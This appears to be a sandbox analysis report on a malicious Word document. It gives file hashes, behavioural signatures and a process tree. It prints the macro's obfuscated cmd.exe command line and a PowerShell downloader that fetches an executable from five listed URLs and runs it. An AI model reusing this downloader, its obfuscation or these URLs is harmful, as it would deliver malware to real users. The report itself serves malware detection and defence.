Analysis
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max time kernel
139s -
max time network
127s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
20-05-2024 00:13
Behavioral task
behavioral1
Sample
5c35910b67ab050d07bf32199541ee31_JaffaCakes118.doc
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
5c35910b67ab050d07bf32199541ee31_JaffaCakes118.doc
Resource
win10v2004-20240426-en
General
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Target
5c35910b67ab050d07bf32199541ee31_JaffaCakes118.doc
-
Size
69KB
-
MD5
5c35910b67ab050d07bf32199541ee31
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SHA1
066f5b7a8b19a154479963f3b4cc966c953cd07f
-
SHA256
66f8fcc2dc5ad76b8818676f97037f3c0decf466abb0a97d14c468160adc52b1
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SHA512
0d59aae0f06946794b5766607a98ced548337020be7bea1461fc8f95b0d22946ae5145055423aa476233c2c20cb7a75710add9ac0e4a71fce69f0ccb79375cb2
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SSDEEP
1536:zptJlmrJpmxlRw99NBF+a/szUmUmUlo/gGbc2+:9te2dw99fauNQc
Malware Config
Extracted
http://bigsenindonesia.com/kYQ9UR0
http://hotelnoraipro.com/iw0
http://4theweb.co.uk/wwvvv/w3b
http://andrewmiller.com.au/YJ7ro
http://91.151.190.122/osticket/C1A9
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 2412 2136 cmd.exe WINWORD.EXE -
Blocklisted process makes network request 5 IoCs
Processes:
powershell.exeflow pid process 41 3952 powershell.exe 43 3952 powershell.exe 45 3952 powershell.exe 47 3952 powershell.exe 51 3952 powershell.exe -
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
Processes:
cmd.exepid process 2412 cmd.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 2136 WINWORD.EXE 2136 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 3952 powershell.exe 3952 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3952 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 2136 WINWORD.EXE 2136 WINWORD.EXE 2136 WINWORD.EXE 2136 WINWORD.EXE 2136 WINWORD.EXE 2136 WINWORD.EXE 2136 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
WINWORD.EXEcmd.exedescription pid process target process PID 2136 wrote to memory of 2412 2136 WINWORD.EXE cmd.exe PID 2136 wrote to memory of 2412 2136 WINWORD.EXE cmd.exe PID 2412 wrote to memory of 3952 2412 cmd.exe powershell.exe PID 2412 wrote to memory of 3952 2412 cmd.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5c35910b67ab050d07bf32199541ee31_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2136 -
C:\Windows\SYSTEM32\cmd.execmd /V^:^O/C"s^e^t rn=^ ^ ^ ^ ^ ^ ^ }}^{^hctac}^;k^a^erb;Mp^L$ m^et^I^-ek^ovnI;)M^p^L$^ ^,WhX$(eliFd^a^olnwo^D^.qnv${yrt^{)V^W^W^$^ n^i^ ^W^h^X^$(hcaerof;'^exe^.'+^wMO$^+^'\^'^+c^i^l^b^up:vn^e^$^=^M^pL^$;^'3^9^1^' ^= w^MO$^;)'^@'(t^i^l^p^S.'^9A^1C/^tekcitso/22^1^.^0^9^1^.^151^.^19//^:pt^t^h^@^or7^J^Y/u^a^.m^oc^.rel^l^imw^er^dn^a//^:ptt^h@b^3^w/vvvww/^k^u^.^oc^.^b^ew^e^ht^4//:^p^tth^@^0w^i/^m^oc^.orpi^aronleto^h//:^p^tt^h@^0RU9^QY^k/^moc^.^ai^senodnin^esg^i^b//:pt^th'^=VWW^$;tn^e^i^lC^b^e^W^.^t^eN^ tc^e^j^b^o^-^w^en^=^qnv^$^ ^l^lehsr^ew^op&&^f^or /^L %^H ^in (37^3,^-1^,0)^d^o s^e^t ^0^3^i=!^0^3^i!!rn:~%^H,1!&&i^f %^H ^ls^s ^1 c^al^l %^0^3^i:^~-3^74%"2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:2412 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $vnq=new-object Net.WebClient;$WWV='http://bigsenindonesia.com/kYQ9UR0@http://hotelnoraipro.com/iw0@http://4theweb.co.uk/wwvvv/w3b@http://andrewmiller.com.au/YJ7ro@http://91.151.190.122/osticket/C1A9'.Split('@');$OMw = '193';$LpM=$env:public+'\'+$OMw+'.exe';foreach($XhW in $WWV){try{$vnq.DownloadFile($XhW, $LpM);Invoke-Item $LpM;break;}catch{}}3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3952
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
245KB
MD5f883b260a8d67082ea895c14bf56dd56
SHA17954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82